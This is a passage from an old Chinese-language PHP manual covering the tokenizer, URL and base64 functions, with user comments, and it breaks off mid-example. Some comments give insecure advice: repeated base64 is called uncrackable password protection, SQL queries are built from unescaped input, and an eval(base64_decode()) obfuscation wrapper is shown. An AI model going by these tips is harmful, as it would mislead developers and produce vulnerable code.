23-Jul-2005 04:33
The tokenizer functions are quite powerful. For example, you can retrieve all of the methods in a given class using an algorithm like:

for each token:
if token is T_FUNCTION then start buffer
if buffer is started then add the current string to the buffer
if token is ( stop buffer

And the great thing is that the class methods will have the right case, so it's a good way to get around the limitations with get_class_methods returning lowercase method names. Also since using a similar algorithm you can read the arguments of a function you can implement Reflections-like functionality into PHP4.

Finally you can use it as a simpler method of extracting Javadoc out of a class file to generate documentation. The util/MethodTable.php class in AMFPHP (http://www.amfphp.org) uses the tokenizer functions to create a method table with all of the arguments, a description, return type, etc. and from that method table it can generate ActionScript that matches the PHP, but it could also be fitted to generate JavaScript, documentation files, or basically anything you put your mind to. I can also see that this could be the base for a class -> WSDL file generator.
add a note add a note

后退 | 起点 | 前进
tidyNode->isText | 上一级 | token_get_all


token_get_all

(PHP 4 >= 4.2.0, PHP 5)

token_get_all -- Split given source into PHP tokens

说明

array token_get_all ( string source )

token_get_all() parses the given source string into PHP language tokens using the Zend engine's lexical scanner.

For a list of parser tokens, see 附录 P, or use token_name() to translate a token value into its string representation.

参数

source

The PHP source to parse.

返回值

An array of token identifiers. Each individual token identifier is either a single character (i.e.: ;, ., >, !, etc...), or a two element array containing the token index in element 0, and the string content of the original token in element 1.

范例

例子 1. token_get_all() examples

<?php
$tokens = token_get_all('<?php echo; ?>'); /* => array(
                                                  array(T_OPEN_TAG, '<?php'),
                                                  array(T_ECHO, 'echo'),
                                                  ';',
                                                  array(T_CLOSE_TAG, '?>') ); */

/* Note in the following example that the string is parsed as T_INLINE_HTML
   rather than the otherwise expected T_COMMENT (T_ML_COMMENT in PHP <5).
   This is because no open/close tags were used in the "code" provided.
   This would be equivalent to putting a comment outside of <?php ?> tags in a normal file. */
$tokens = token_get_all('/* comment */'); // => array(array(T_INLINE_HTML, '/* comment */'));
?>

add a note add a note User Contributed Notes
phpcomments at majiclab dot com
02-Aug-2005 01:08
Regarding bertrand at toggg dot com's comment:  there is another case of the { } curly braces being used in PHP, but the token_get_all() function treats it just like a code block: string index.  Example:

<?php
$text = "Hello";
if ($text{ 0 } == 'H') {
   echo "This example uses { for both a PHP block and a string index.";
}
?>

Just in case some people were wondering.  Since PHP treats them as the same token, it makes some things a little more interesting for parsing.  You can't just assume that { ... } is a code block, it could just be a number referring to an index of a string.
bertrand at toggg dot com
08-Mar-2005 02:41
If you want to retrieve the PHP blocks then you will count up the opening curly braces '{' and down the closing ones '}' (counter zero means block finished)
CAUTION: the opening curly braces token can take 3 values:
1) '{' for all PHP code blocks,
2) T_CURLY_OPEN for "protected" variables within strings as "{$var}"
3) T_DOLLAR_OPEN_CURLY_BRACES for extended format "${var}"

On the other hand, closing token is allways '}' !

So counting up must take place on the 3 tokens:
'{' , T_CURLY_OPEN and T_DOLLAR_OPEN_CURLY_BRACES

Have fun with PHP tokenizer !
bishop
08-Dec-2004 02:58
You may want to know the line and column number at which a token begins (or ends). Since this tokenizer interface doesn't provide that information, you have to track it manually, like below:

<?php
function update_line_and_column_positions($c, &$line, &$col)
{
   // update line count
   $numNewLines = substr_count($c, "\n");
   if (1 <= $numNewLines) {
       // have new lines, add them in
       $line += $numNewLines;
       $col  =  1;

       // skip to right past the last new line, as it won't affect the column position
       $c = substr($c, strrpos($c, "\n") + 1);
       if ($c === false) {
           $c = '';
       }
   }

   // update column count
   $col += strlen($c);
}

?>

Now use it, something like:

<?php

$line = 1;
$col  = 1;
foreach ($tokens as $token) {
   if (is_array($token)) {
       list ($token, $text) = $token;
   } else if (is_string($token)) {
       $text = $token;
   }

   update_line_and_column_positions($text, $line, $col);
}

?>

Note this assumes that your desired coordinate system is 1-based (eg (1,1) is the upper left). Zero-based is left as an exercise for the reader.
Leon Atkinson
07-Dec-2002 07:17
This function parses PHP code.  Here's an example of it's use.
<?
   $code = '<?$a = 3;?>';

   foreach(token_get_all($code) as $c)
   {
       if(is_array($c))
       {
           print(token_name($c[0]) . ": '" . htmlentities($c[1]) . "'\n");
       }
       else
       {
           print("$c\n");
       }
   }
?>
add a note add a note

后退 | 起点 | 前进
Tokenizer Functions | 上一级 | token_name


token_name

(PHP 4 >= 4.2.0, PHP 5)

token_name -- Get the symbolic name of a given PHP token

说明

string token_name ( int token )

token_name() gets the symbolic name for a PHP token value.

参数

token

The token value.

返回值

The symbolic name of the given token. The returned name returned matches the name of the matching token constant.

范例

例子 1. token_name() example

<?php
// 260 is the token value for the T_REQUIRE token
echo token_name(260);        // -> "T_REQUIRE"

// a token constant maps to its own name
echo token_name(T_FUNCTION); // -> "T_FUNCTION"
?>

参见

List of Parser Tokens

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
token_get_all | 上一级 | Unicode Functions


Unicode Functions

PHP 手册
后退 前进

CXLVII. Unicode Functions

简介

Unicode Support.

警告

This extension is still in development and it isn't available to public yet.

需求

ICU 3.4 or later is required.

安装

First you should download and install ICU:

例子 1. install ICU on Unix

./configure --disable-threads --enable-extras --enable-icuio --enable-layout
make && make install

Then checkout latest PHP and configure it --with-icu-dir=<dir> option, where <dir> was the dir to where you installed ICU. You don't need to explicitly use this option if you install ICU to a standard location.

目录
unicode_encode -- Takes a unicode string and converts it to a string in the specified encoding

add a note add a note User Contributed Notes
Hugo Dworak (post at o2 dot pl)
23-Nov-2005 11:04
If you are really interested in PHP 6 and its Unicode support you should read:
http://www.zend.com/zend/week/php-unicode-design.txt
(and in general http://www.zend.com/zend/week/)
plus cvs/php6/README.UNICODE and cvs/php6/README.UNICODE-UPGRADES

After you compile PHP 6, make sure that you have enabled unicode_semantics = on in php.ini (an old PHP 5 configuration file will not do as it does not provide those new Unicode-related options).
add a note add a note

后退 | 起点 | 前进
token_name | 上一级 | unicode_encode


unicode_encode

(PHP 5 CVS only)

unicode_encode -- Takes a unicode string and converts it to a string in the specified encoding

说明

string unicode_encode ( unicode input, string encoding )

警告

本函数暂无文档，仅有参数列表。

参数

input

Its description

encoding

Its description

返回值

What the function returns, first on success, then on failure.

范例

例子 1. A unicode_encode() example

Any text that describes the purpose of t

<?php
if ($anexample === true) {
    echo 'Use the PEAR Coding Standards';
}
?>

上例将输出：

Use the PEAR Coding Standards

参见

unicode_decode()

add a note add a note User Contributed Notes
Hugo Dworak (post at o2 dot pl)
23-Nov-2005 10:54
As for an example of the usage of the function unicode_encode:

<?php
  header ('Content-Type: text/plain; charset=ISO-8859-2');
  $encoded = unicode_encode ('\u0150\u0179', 'ISO-8859-2');
  echo 'Unicode semantics: ', ini_get ('unicode_semantics'), PHP_EOL, 'The string itself: ';
  printf ($encoded . PHP_EOL, '%s');
  echo 'The length of the string: ', strlen ($encoded);
?>

The above example will output (please note that there will be characters instead of entities in the output):

Unicode semantics: 1
The string itself: &#336;&#377;
The length of the string: 2
add a note add a note

后退 | 起点 | 前进
Unicode Functions | 上一级 | URL 函数


URL 函数

PHP 手册
后退 前进

CXLVIII. URL 函数

简介

处理 URL 字符串：编码、解码与解析。

需求

要编译本扩展模块不需要外部库文件。

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

目录
base64_decode -- 对使用 MIME base64 编码的数据进行解码
base64_encode -- 使用 MIME base64 对数据进行编码
get_headers -- Fetches all the headers sent by the server in response to a HTTP request
get_meta_tags -- 从一个文件中提取所有的 meta 标签 content 属性，返回一个数组
http_build_query -- 生成 url-encoded 之后的请求字符串
parse_url -- 解析 URL，返回其组成部分
rawurldecode -- 对已编码的 URL 字符串进行解码
rawurlencode -- 按照 RFC 1738 对 URL 进行编码
urldecode -- 解码已编码的 URL 字符串
urlencode -- 编码 URL 字符串

add a note add a note User Contributed Notes
regix11 [at] gmail [dot] com
05-Jun-2006 09:14
How do I go and encode an URL, but EVERYTHING is encoded. As such:

http://www.domain.com/

...becomes...

%68%74%74%70%3a%2f%2f%77%77%77%2e%64%6f%6d%61%69%6e%2e%63%6f%6d

(note: I hand-url-encoded it)
Here is the URL-Encoded url, clickable (the http:// part shows up twice)
http://%68%74%74%70%3a%2f%2f%77%77%77%2e%64%6f%6d%61%69%6e%2e%63%6f%6d
dbz at soli dot cl
21-Aug-2005 05:21
You should have named your form field "organization[]" (notice the square brackets), instead of just organization. When using square brackets, the get/post request is interpreted by PHP as an array.

If you follow this example you'll understand why it works the way it does:

<?php

$organization = 92;
$organization = 93;

// The second asignment overwrites the value of the first
// asignment. $organization === 93.

$organization[] = 92;
$organization[] = 93;

// The above is interpreted as appending data to an array
// named "$organization". $organization is an array
// consisting of the values 92 AND 93.

?>

When submitting form fields with appended square brackets to their name, PHP interprets the submission using the same logic exposed above. Thus PHP automatically creates an array with all selected options if "$organization[]" is used as the field name.

Regards,
   Daniel Berstein.
dday at cnscorp dot com
25-Jun-2005 01:22
When using a multiple select on a form, I ran into a little issue of only receiving the last value form the select box.
I had a select box named organization_id with two values (92 and 93).
To get the values of both, I had to use the following:

   $temp_array = split("&", $_SERVER['QUERY_STRING']);
   foreach($temp_array as $key=>$value){
       if(substr($value, 0, 15) == "organization_id"){
           $_GET['organizations'][] = substr($value, 15, strlen($value));
       }
   }

this results in a $_GET array like this :

(
   [page] => idea_submission
   [organization_id] => 93
   [organizations] => Array
       (
           [0] => =92
           [1] => =93
       )

)
job oberio
15-Dec-2004 05:33
just want to share some tip:

my visitors usually type http://pinoylinux.com
in their browser (note: no www)
and i want them to automatically change the url
to use www.
(from http://pinoylinux.com to http://www.pinoylinux.com)

The solution is:

you can add the ff code to your existing index.php script

<?php
if  ($HTTP_HOST=="pinoylinux.com")
{
header("Location: http://www.pinoylinux.com"); die();
}

~~~ your existing codes here ~~~

?>

hope that helps
php at malaker dot com
17-Dec-2003 07:25
Following method do not show the URL in user browser (as the author claimed) if the code resides in the source page of  FRAME or IFRAME (say SRC="sourcepage.php") . In that case the URL of the SOURCE page is displayed.

$url = sprintf("%s%s%s","http://",$HTTP_HOST,$REQUEST_URI);
echo "$url";

Expected result: http://localhost/urltest/framedpage.php

Actual result: http://localhost/urltest/sourcepage.php
tappertzhofen at fdos dot de
24-Nov-2003 03:35
If you got a server which got only one subdomain and you can't add a subdomain you can easily create your own "subdomain script". You may create a file "index.php" or what ever your defaul filename is in the webpage root directory and add the following PHP Code:

<?php

// Get possible subdomain

$full_url = sprintf($HTTP_HOST);
$subdomain = "";

for($i = 0;$i<=strlen($full_url);$i++)
{

  $dummy = substr($full_url,$i,1);

  if($dummy == ".")
  {
   break;
  }

  $subdomain = $subdomain.$dummy;

}

// Get Subdomain List

if ($subdomain <> "www")
{

  switch($subdomain)
  {
   case "download":
     $real_url = "http://www.mydomain.com/download/index.php";
     break;
   case "contact":
     $real_url = "http://www.mydomain.com/contact.php";
     break;

  }

  header( "location: $real_url\r\n" );

?>
chemanfit at hotmail
07-Jun-2003 08:24
just a side note to the above you will need to add the ?

example

$page=$PHP_SELF."?".$_SERVER['QUERY_STRING'];
ignacio paz posse
13-Mar-2003 09:31
Note on the above: the point is that is that using $_SERVER['QUERY_STRING'] along with $PHP_SELF we will have passed whatever variables are already appended (as they might be needed for database queries)

example, given the following url: http://www.your_domain/somepage.php?variable=1;

using $PHP_SELF" we are passing
[scheme]:(http://), [host]: www.your_domain/  and [path]: somepage.php

adding $_SERVER['QUERY_STRING'], we pass that, plus [query]: variable=1
ignacio
13-Mar-2003 02:16
/*
May be this is obvious but helps me since I found it:
If I want to append a variable to the url and pass it to the same page. ( in this example I'm using action=email to include an email form on the user click) i do:
*/

// ...

<a href="<? echo $PHP_SELF,'?',$_SERVER['QUERY_STRING'],'&action=email' ?>">email to us</a>

// ...

/* somewhere in the the page (in my case at the bottom) I have: */

<? if ($action=='email') include('emailForm.htm'); ?>
jrg45 at pantheon dot yale dot edu
11-Jul-2002 05:14
Note that $_SERVER["HTTP_REFERER"] may not include GET data that was included in the referring address, depending on the browser.  So if you rely on GET variables to generate a page, it's not a good idea to use HTTP_REFERER to smoothly "bounce" someone back to the page he/she came from.
postmaster at asmatic dot ch
30-Apr-2002 12:15
If you want to get the filename requested on a global error page like a 404, just use this code...

// get the full var...
$page = $HTTP_SERVER_VARS["QUERY_STRING"];

// part[1] is the url...
// part[0] is the http code (404, etc).
if(strpos($page,";")>0) {
   $pageParts = explode(";",$page);
   $page = $pageParts[1];
}

// get only the filename...
$page = basename($page);
stephane-wantiez at tiscalinet dot be
07-Feb-2002 10:29
if you do this, it will be easier :
echo "http://{$HTTP_HOST}{$REQUEST_URI}";
verdy_p at wanadoo dot fr
27-May-2001 01:47
Note also that the URL shown in $HTTP_REFERER is not always the URL of the web page where the user clicked to invoke the PHP script.
This may instead be a document of your own web site, which contains an HTML element whose one attribute references the script. Note also that the current page fragment (#anchor) may be transmitted or not with the URL, depending on the browser.
Examples:
<FRAME src="your-page-script.php"8>
<IMAGE src="your-image-script.php">

In such case, browsers should transmit the URL of the container document, but some still persist in using the previous document in the browser history, and this could cause a different $HTTP_REFERER value be sent when the user comes back to the document referencing your script. If you wanna be sure that the actual current document or previous document in the history is sent, use client-side JavaScript to send it to your script:

<SCRIPT language="JavaScript"><!--
document.writeln('<FRAME src="your-page-script.php?js=1&amp;ref=' +
document.location + '">');
--></SCRIPT><NOSCRIPT>
<FRAME src="your-page-script.php?js=0">
</NOSCRIPT>

And then check the value of $js in your page script to generate appropriate content when the remote user agent does not support client-side scripts (such as most index/scan robots, some old or special simplified browsers, or browsers with JavaScript disabled by their users).
verdy_p at wanadoo dot fr
27-May-2001 12:55
Warning: when the PHP engine runs for your hosted web site, it may execute on a domain name which is completely different than the one the user requested in its browser. Many free web hosting site use proxies and/or multiple DNS entries for your hosted web site. This means that:
- the IP of the web server can change if multiple DNS entries are present (there may be several web servers running concurrently)
- reverse DNS name from the IP may give different domain name over time, or if the domain name is a CNAME only for a virtual web server hosting many domains
- the server running PHP may be different than the web server
- the web server may be hidden behind a proxy which balances the load between a farm of servers
- the queried host name in the HTTP headers may be different than the queried host name in the browser, if behind a redirecting proxy
- the actual path name of the ressource may be also different, with additional path elements: this is very common on free hosting servers, where you get a virtual CNAME domain, which gets translated by a proxy into an actual web server, and a domain-specific document root directory

So when thinking about using absolute path names you can retreive from PHP, beware that this may not be accurate to insert as absolute URL's in the HTML code built with PHP.

The best solution is then to ALWAYS USE relative URLs to reference documents and form scripts on your local server !

This applies to $PHP_SELF too, because it's an absolute pathname: don't use it directly but you can safely use basename($PHP_SELF) to reference your script within HTML forms:

<?
$self=basename($PHP_SELF);
?>
<HTML><HEAD>
...
</HEAD><BODY>
<FORM method="GET" action="$self">
...
</FORM>
</BODY></HTML>
tumor at kkt dot bme dot hu
02-Apr-2000 02:18
To check if a URL is valid, try to fopen() it. If fopen() results an error (returns false), then PHP cannot open the URL you asked. This is usually because it is not valid...
add a note add a note

后退 | 起点 | 前进
unicode_encode | 上一级 | base64_decode


base64_decode

(PHP 3, PHP 4, PHP 5)

base64_decode -- 对使用 MIME base64 编码的数据进行解码

描述

string base64_decode ( string encoded_data )

base64_decode() 对 encoded_data 进行解码，返回原始数据，失败则返回 FALSE。返回的数据可能是二进制的。

例子 1. base64_decode() 示例

<?php
$str = 'VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==';
echo base64_decode($str);
?>

此示例将显示：

This is an encoded string

参见 base64_encode() 与 RFC 2045 6.8 章节。

add a note add a note User Contributed Notes
gabor dot barta at freemail dot hu
08-Jan-2005 10:09
Hi,

I just would like to add a comment, i was strugging with it for some time. So i opened a POP3 mailbox fopen, and listed the emails with attachments. I copied the base64 encoded text to a file and saved it. Then i tried to decode this file to a jpeg picture, and it just didnt work... Then i realized that there were some spaces in the text file....

Hope it will help anyone.

Bobi
paul at ijsfontein dot nl
10-Jun-2004 09:04
The user notes posted here helped me a lot in writing the PHP code to upload uuencoded files to a server using $_POST. Hardest thing to figure out was why the files came out scrambled and corrupted. After comparing the original file with the file reconstructed by the uudecode script, I found out that a simple "stripcslashes" on the posted data will do the trick.

So, to upload any kind of uuencoded file using a POST:
1. send the raw file data to the PHP script
2. $uuencoded_data = stripcslashes($_POST['filedata']);
3. strip the marker lines from $uuencoded_data (first line, last line and second last line of the data. Each line is seperated by a LF (chr(10)) character.)
4. $decoded_data = uudecode($stripped_uuencoded_data); (this function can be found in the user notes here).
5. Use the script provided in one of the user notes on this page to write the decoded data to a binary file.

That should do the trick!
tobias at silverxnet dot de
24-Dec-2003 04:16
I was wondering how to decode attached images within mails. Basically they are mostly JPEG files, so it was obviously to write a function that decodes JPEG images.
I guess the plainest way to do so was the following:

<?php
function base64_to_jpeg( $inputfile, $outputfile ) {
  /* read data (binary) */
  $ifp = fopen( $inputfile, "rb" );
  $imageData = fread( $ifp, filesize( $inputfile ) );
  fclose( $ifp );
  /* encode & write data (binary) */
  $ifp = fopen( $outputfile, "wb" );
  fwrite( $ifp, base64_decode( $imageData ) );
  fclose( $ifp );
  /* return output filename */
  return( $outputfile );
}
?>

This function decodes the given inputfile (a filename!) and saves it to the given outputfile (a filename as well) and then returns the output filename for further usage (e.g. redirect, imagejpeg() and so on).
I thought that might be helpful.
dharwood at synopsistechnologies dot com
06-Dec-2003 03:34
Encode/DEcode PAGE.

Here is a page that will accept plain text password and return an encoded password.  It will also do the opposite.  It will allow you to enter an encoded password and generate the plain text password... (just in case you forgot your password.)

<?php

if (isset($_POST['text_pass'])){
   $but=$_POST['button'];
   process_form();
}else{
   print_form();
}

function process_form(){

  switch ($_POST['button']){
   case "Get Encoded":

       $text_pass = $_REQUEST['text_pass'];
       echo "<html>\n";
       echo "<head>\n";
       echo "<title>Password Encoding</title>\n";
       echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\">\n";
       echo "</head>\n";
       echo "<body>\n";
       echo "<table border=\"0\" cellspacing=\"0\" cellpadding=\"4\" width=\"100%\">\n";
       echo "<div align=\"center\">\n";
       echo "<h3 align=center>Password Encoding Page</h3>\n";
       echo "<table align=\"center\" border=\"0\">\n";
       echo "<tr>\n";
       echo "<td ><b>You Entered:  </b></td>\n";
       echo "<td>$text_pass</td>\n";
       echo "</tr>\n";
       $test = base64_encode(serialize($text_pass));
       echo "<tr>\n";
       echo "<td ><b>Your encoded password (base 64) is:  </b></td>\n";
       echo "<td>$test</td>\n";
       echo "</tr>\n";
       $untest = unserialize(base64_decode($test));
       echo "<tr>\n";
       echo "<td ><b>To double test, your UNencoded password (base 64) is:  </b></td>\n";
       echo "<td>$untest</td>\n";
       echo "</tr>\n";
       echo "</table>\n";
       break;
   case "Get UNEncoded":
       $text_pass = $_REQUEST['text_pass'];
       echo "<html>\n";
       echo "<head>\n";
       echo "<title>Password Encoding</title>\n";
       echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\">\n";
       echo "</head>\n";
       echo "<body>\n";
       echo "<table border=\"0\" cellspacing=\"0\" cellpadding=\"4\" width=\"100%\">\n";
       echo "<div align=\"center\">\n";
       echo "<h3 align=center>Password Encoding Page</h3>\n";

       echo "<table align=\"center\" border=\"0\">\n";
       echo "<tr>\n";
       echo "<td ><b>You Entered:  </b></td>\n";
       echo "<td>$text_pass</td>\n";
       echo "</tr>\n";
       $untest = unserialize(base64_decode($text_pass));
       echo "<tr>\n";
       echo "<td ><b>Your UNencoded password (base 64) is:  </b></td>\n";
       echo "<td>$untest</td>\n";
       echo "</tr>\n";
       echo "</table>\n";

   default:

       break;
  }
}

function print_form(){
   echo "<html>\n";
   echo "<head>\n";
   echo "<title>Password Encoding</title>\n";
   echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\">\n";
   echo "</head>\n";
   echo "<body>\n";
   echo "<table border=\"0\" cellspacing=\"0\" width=\"100%\">\n";
   echo "<div align=\"center\">\n";
   echo "<h3 align=center>Password Encoding Page</h3>\n";
   echo "<tr>\n";
   echo "<form action=\"$_SERVER[PHP_SELF]\" method=\"post\">\n";
   echo "<table align=\"center\" border=\"0\">\n";
   echo "<tr>\n";
   echo "<td align=\"right\"><b>Password to Encode/Decode:</b></td>\n";
   echo "<td align=\"right\">";
   echo "  <input type=\"text\" name=\"text_pass\" size=\"30\" >\n";
   echo "</td>\n";
   echo "</tr>\n";
   echo "</tr>\n";
   echo "<tr>\n";
   echo "<tr>\n";
   echo "&nbsp;\n";
   echo "</tr>\n";
   echo "<td >";
   echo "<input type=\"submit\" name=\"button\" value=\"Get Encoded\"><br>\n";
   echo "</td>";
   echo "<td >";
   echo "<input type=\"submit\" name=\"button\" value=\"Get UNEncoded\"><br>\n";
   echo "</td>";
   echo "</tr>\n";
   echo "</table>\n";
   echo "</form>\n";
   echo "<tr>\n";
   echo "</table>\n";
   echo "</body>\n";
   echo "</html>\n";
}
?>
dhirendrak at yahoo dot com
07-Aug-2003 04:19
Heading : Your customizable encode
and decode function.

A customizable encoded and decode
Function which can encode and decode
the data. You need to pass variable to
the encode function to encrypt and
whenever you want you can get the
data by using decode function.

Cracking / hacking of encoded value
is impossible, until user know the
actual coding.

<?php
function encoded($ses)
{
  $sesencoded = $ses;
  $num = mt_rand(3,9);
  for($i=1;$i<=$num;$i++)
  {
     $sesencoded =
     base64_encode($sesencoded);
  }
  $alpha_array =
  array('Y','D','U','R','P',
  'S','B','M','A','T','H');
  $sesencoded =
  $sesencoded."+".$alpha_array[$num];
  $sesencoded =
  base64_encode($sesencoded);
  return $sesencoded;
}//end of encoded function

function decoded($str)
{
   $alpha_array =
   array('Y','D','U','R','P',
   'S','B','M','A','T','H');
   $decoded =
   base64_decode($str);
   list($decoded,$letter) =
   split("\+",$decoded);
   for($i=0;$i<count($alpha_array);$i++)
   {
   if($alpha_array[$i] == $letter)
   break;
   }
   for($j=1;$j<=$i;$j++)
   {
     $decoded =
       base64_decode($decoded);
   }
   return $decoded;
}//end of decoded function
?>

http://members.lycos.co.uk/dhirendrak
Klaus Fehrenbacher
17-Apr-2003 07:05
this script can correct the bug

<?php
$enc = chunk_split(preg_replace('!\015\012|\015|\012!','',$enc));
$enc = base64_decode($enc);
?>
nsayer at kfu dot com
22-Mar-2002 05:15
I used to do uudecode as a C module, but I've discovered a really fast way to do it in PHP. Here it is:

<?php
function uudecode($encode) {
  $b64chars="ABCDEFGHIJKLMNOPQRSTUVWXYZ\
abcdefghijklmnopqrstuvwxyz0123456789+/";

  $encode = preg_replace("/^./m","",$encode);
  $encode = preg_replace("/\n/m","",$encode);
  for($i=0; $i<strlen($encode); $i++) {
   if ($encode[$i] == '`')
     $encode[$i] = ' ';
   $encode[$i] = $b64chars[ord($encode[$i])-32];
  }

  while(strlen($encode) % 4)
   $encode .= "=";

  return base64_decode($encode);
}
?>

This is the PHP equivalent to perl's unpack("u",___). That is, you need to strip the 'begin' and 'end' lines from the typical uuencoded file.
add a note add a note

后退 | 起点 | 前进
URL 函数 | 上一级 | base64_encode


base64_encode

(PHP 3, PHP 4, PHP 5)

base64_encode -- 使用 MIME base64 对数据进行编码

描述

string base64_encode ( string data )

base64_encode() returns 使用 base64 对 data 进行编码。设计此种编码是为了使二进制数据可以通过非纯 8-bit 的传输层传输，例如电子邮件的主体。

Base64-encoded 数据要比原始数据多占用 33% 左右的空间。

例子 1. base64_encode() 示例

<?php
  $str = 'This is an encoded string';
  echo base64_encode($str);
?>

此示例将显示：

VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==

参见 base64_decode()、chunk_split() 与 RFC 2045 6.8 章节。

add a note add a note User Contributed Notes
greenthumb at 4point-webdesign dot de
26-Apr-2006 05:57
I had massive problems storing a serialized Object which contained UTF-8 parts and some ascii parts (from the serialization i think) into mysql.

So i used base64_encode to get a clean string which could be safely decoded and unserialized.

this is bulletproof - if you ever have trouble use this.
the runtime is imho no problem.
dawgeatschikin at hotmail dot com
28-Mar-2006 12:06
Just a minor tweak of massimo's functions.

<?
$data = str_replace(array('+','/','='),array('-','_','.'),$data);
//replace '=' with '.' instead of with nothing, that way the process is reversible.  '.' is uri-safe according to http://www.w3.org/Addressing/URL/5_URI_BNF.html
?>
massimo dot scamarcia at gmail dot com
23-Mar-2006 11:23
$data = str_replace(array('+','/','='),array('-','_',),$data); // MIME::Base64::URLSafe implementation

$data = str_replace(array('+','/'),array('-','_'),$data); // Python raise "TypeError: Incorrect padding" if you remove "=" chars when decoding
massimo dot scamarcia at gmail dot com
23-Mar-2006 07:02
function urlsafe_b64encode($string) {
   $data = base64_encode($string);
   $data = str_replace(array('+','/','='),array('-','_',''),$data);
   return $data;
}

function urlsafe_b64decode($string) {
   $data = str_replace(array('-','_'),array('+','/'),$string);
   $mod4 = strlen($data) % 4;
   if ($mod4) {
       $data .= substr('====', $mod4);
   }
   return base64_decode($data);
}

Php version of perl's MIME::Base64::URLSafe, that provides an url-safe base64 string encoding/decoding (compatible with python base64's urlsafe methods)
Gabriel Malca
18-Mar-2006 05:45
If the function doesn't exist, this is a messy but effective way of doing it:

<?

echo bencode("Gabriel Malca");
// R2FicmllbCBNYWxjYQ==

function bencode($string='') {
   $binval = convert_binary_str($string);
   $final = "";
   $start = 0;
   while ($start < strlen($binval)) {
       if (strlen(substr($binval,$start)) < 6)
           $binval .= str_repeat("0",6-strlen(substr($binval,$start)));
       $tmp = bindec(substr($binval,$start,6));
       if ($tmp < 26)
           $final .= chr($tmp+65);
       elseif ($tmp > 25 && $tmp < 52)
           $final .= chr($tmp+71);
       elseif ($tmp == 62)
           $final .= "+";
       elseif ($tmp == 63)
           $final .= "/";
       elseif (!$tmp)
           $final .= "A";
       else
           $final .= chr($tmp-4);
       $start += 6;
   }
   if (strlen($final)%4>0)
       $final .= str_repeat("=",4-strlen($final)%4);
   return $final;
}

function convert_binary_str($string) {
   if (strlen($string)<=0) return;
   $tmp = decbin(ord($string[0]));
   $tmp = str_repeat("0",8-strlen($tmp)).$tmp;
   return $tmp.convert_binary_str(substr($string,1));
}

?>
conradopinto at yahoo dot com dot br
09-Feb-2006 11:04
There is an error on the example of passing an array through an HTML Form.

In the line:
$array = unserialize(base64_decode($coded_array);

There is a ')' missing. it should be:
$array = unserialize(base64_decode($coded_array));
php at mmx dot e4ward dot com
19-Dec-2005 03:19
I dont understand why so many programmers use base64_encode to obfuscate their scripts. It can be completely reversible in a matter of seconds.

Instead of using base64_encode to obfuscate, go out and buy Zend Encoder. If you are just cheap, there are other free options like http://pobs.mywalhalla.net/ and http://www.phpcipher.com/

However, if you really want to use base64_encode to obfuscate your source code, you can try running it multiple times. It wont be more secure but it will be more irritating.

<?
function base64_hide ($sourceCode) {
   for ($k=0; $k <10; $k++) {
       $sourceCode = "eval(base64_decode("    + base64_encode($sourceCode) + "));";
   }
   return $sourceCode;
}
?>
virtuall at virtuall dot info
07-Dec-2005 05:53
If you encode text that contains symbols like < > and want to send it in GET query, be sure to urlencode the result of base64_encode, as it sometimes adds a  + (and it's a special symbol) at the end:

<?php
   echo base64_encode('<html>');
?>

returns:

PGh0bWw+

A function like this could also be useful:

<?php
   function base64_urlencode($str) {
       return urlencode(base64_encode($str));
   };
?>
andi151278
15-Nov-2005 01:58
Using base64_encode to produce clean filenames from usernames (e.g. for image upload) is a bad idea if Umlaute (,,) are allowed. Then there is a slash (/) added in the filename, that will lead to a nonexisting directory beeing looked for and your script crashing!
Cristiano Calligaro
25-Aug-2005 06:05
I've used base64_encode and base64_decode for file attachment both in MySQL (using a BLOB field) and MSSQL (using a TEXT field). For MSSQL remember to set in PHP.INI file both mssql.textsize and mssql.textlimit to 2147483647.

Here's the code:

######### MSSQL(mssql_)/MySQL(mysql_) file attach
$val=$HTTP_POST_FILES['lob_upload']['tmp_name'];
$valn=$HTTP_POST_FILES['lob_upload']['name'];
$valt=$HTTP_POST_FILES['lob_upload']['type'];

$data=base64_encode(addslashes(fread(fopen($val, "r"), filesize($val))));

mssql_connect("srv","usr","pass") or die ("");
mssql_select_db("db") or die ("");
$query = "UPDATE $table SET $field='$data', $fieldname='$valn', $fieldtype='$valt' WHERE DocID='$DocID'";
$result = mssql_query($query) or die(mssql_error());
mssql_close();

######### MSSQL(mssql_)/MySQL(mysql_) open file attached
mssql_connect("srv","usr","pass") or die ("");
mssql_select_db("db") or die ("");
$query = "SELECT $field,$fieldtype FROM $table WHERE DocID='$DocID'";
$result = mssql_query($query) or die(mssql_error());
$row = mssql_fetch_array($result);

header("Content-type: $row[1]");
echo stripslashes(base64_decode($row[0]));

This strategy is good for Microsoft Word, Acrobat PDF, JPG image and so on (even zipped files!!!)
RRWH.com
25-Apr-2005 01:40
I had the need to send a Multi-part mime message. I spent a lot of time trying to correctly receive it.  I finally worked out what I needed to do, and rather than keep it to myself - thought I would share it.

I needed to send a text message and an attached file via email rather than providing a direct download link to a file and this is my solution.

The main parts I had problem with was to correctly format the boundary in the header - then also in the body of the message.

<?php

$tempfile = '/full/path/to/file.zip';
$thisfile = 'file.zip';

// Encode the file ready to send it off
$handle = fopen($tempfile,'rb');
$file_content = fread($handle,filesize($tempfile));
fclose($handle);
$encoded = chunk_split(base64_encode($file_content));

// create the email and send it off

$subject = "File you requested from RRWH.com";
$from = "scripts@rrwh.com";
$headers = 'MIME-Version: 1.0' . "\n";
$headers .= 'Content-Type: multipart/mixed;
   boundary="----=_NextPart_001_0011_1234ABCD.4321FDAC"' . "\n";

$message = '

This is a multi-part message in MIME format.

------=_NextPart_001_0011_1234ABCD.4321FDAC
Content-Type: text/plain;
       charset="us-ascii"
Content-Transfer-Encoding: 7bit

Hello

We have attached for you the PHP script that you requested from http://rrwh.com/scripts.php
as a zip file.

Regards

------=_NextPart_001_0011_1234ABCD.4321FDAC
Content-Type: application/octet-stream;  name="';

$message .= "$thisfile";
$message .= '"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="';
